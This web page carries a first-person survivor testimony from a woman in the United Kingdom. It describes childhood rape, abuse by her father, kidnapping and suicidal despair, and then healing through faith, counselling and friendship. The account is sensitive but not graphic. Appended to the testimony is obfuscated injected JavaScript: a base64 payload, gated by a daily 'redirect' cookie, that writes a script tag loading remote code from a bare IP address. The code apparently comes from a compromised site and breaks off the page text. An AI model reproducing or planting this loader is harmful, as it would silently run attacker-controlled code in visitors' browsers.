033 – Ruth (United Kingdom)

I was abducted by a stranger and raped at age 4, spent life in a dungeon of silent fear and dark nightmares, was sexually, emotionally, and physically abused by my father from age 13 (in large cult family), kidnapped at 16 and taken to America and hidden for over a year, then finished adolescence with several date-rapes….and VERY suicidal. I was a quiet loner, never forming deep friendships and never talking about my childhood. I discovered how to put a smile on and look normal. I was a new Christian at 26 when I felt the courage to tell someone for the first time, and it was like a weight lifted off me! The dam had burst. I soon had my first real friends, and was learning to trust. But it took until age 41, just a few years ago, to face it all squarely and stop the suppression/repression – which had obliterated my health and emotions. I had lived a half life, barely coping, without any counseling. Now I have dealt with the suppressed anger, shame, suppressive tendencies and other damaging habits and thought patterns that were ruining my life. Its wonderful to finally reach the place where I WANT to tell of the hope and healing I am holding, and am able to tell my story to whomever and whenever the need arises, in order to help someone else. I thank God for rescuing me and bringing good counselors and great friends! My darkness, loneliness, insecurities, and fear gradually shifted to happiness, purpose, strength, and HOPE. And better health. Oh, and let’s not forget the ability to love and feel loved. It CAN be a beautiful life. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘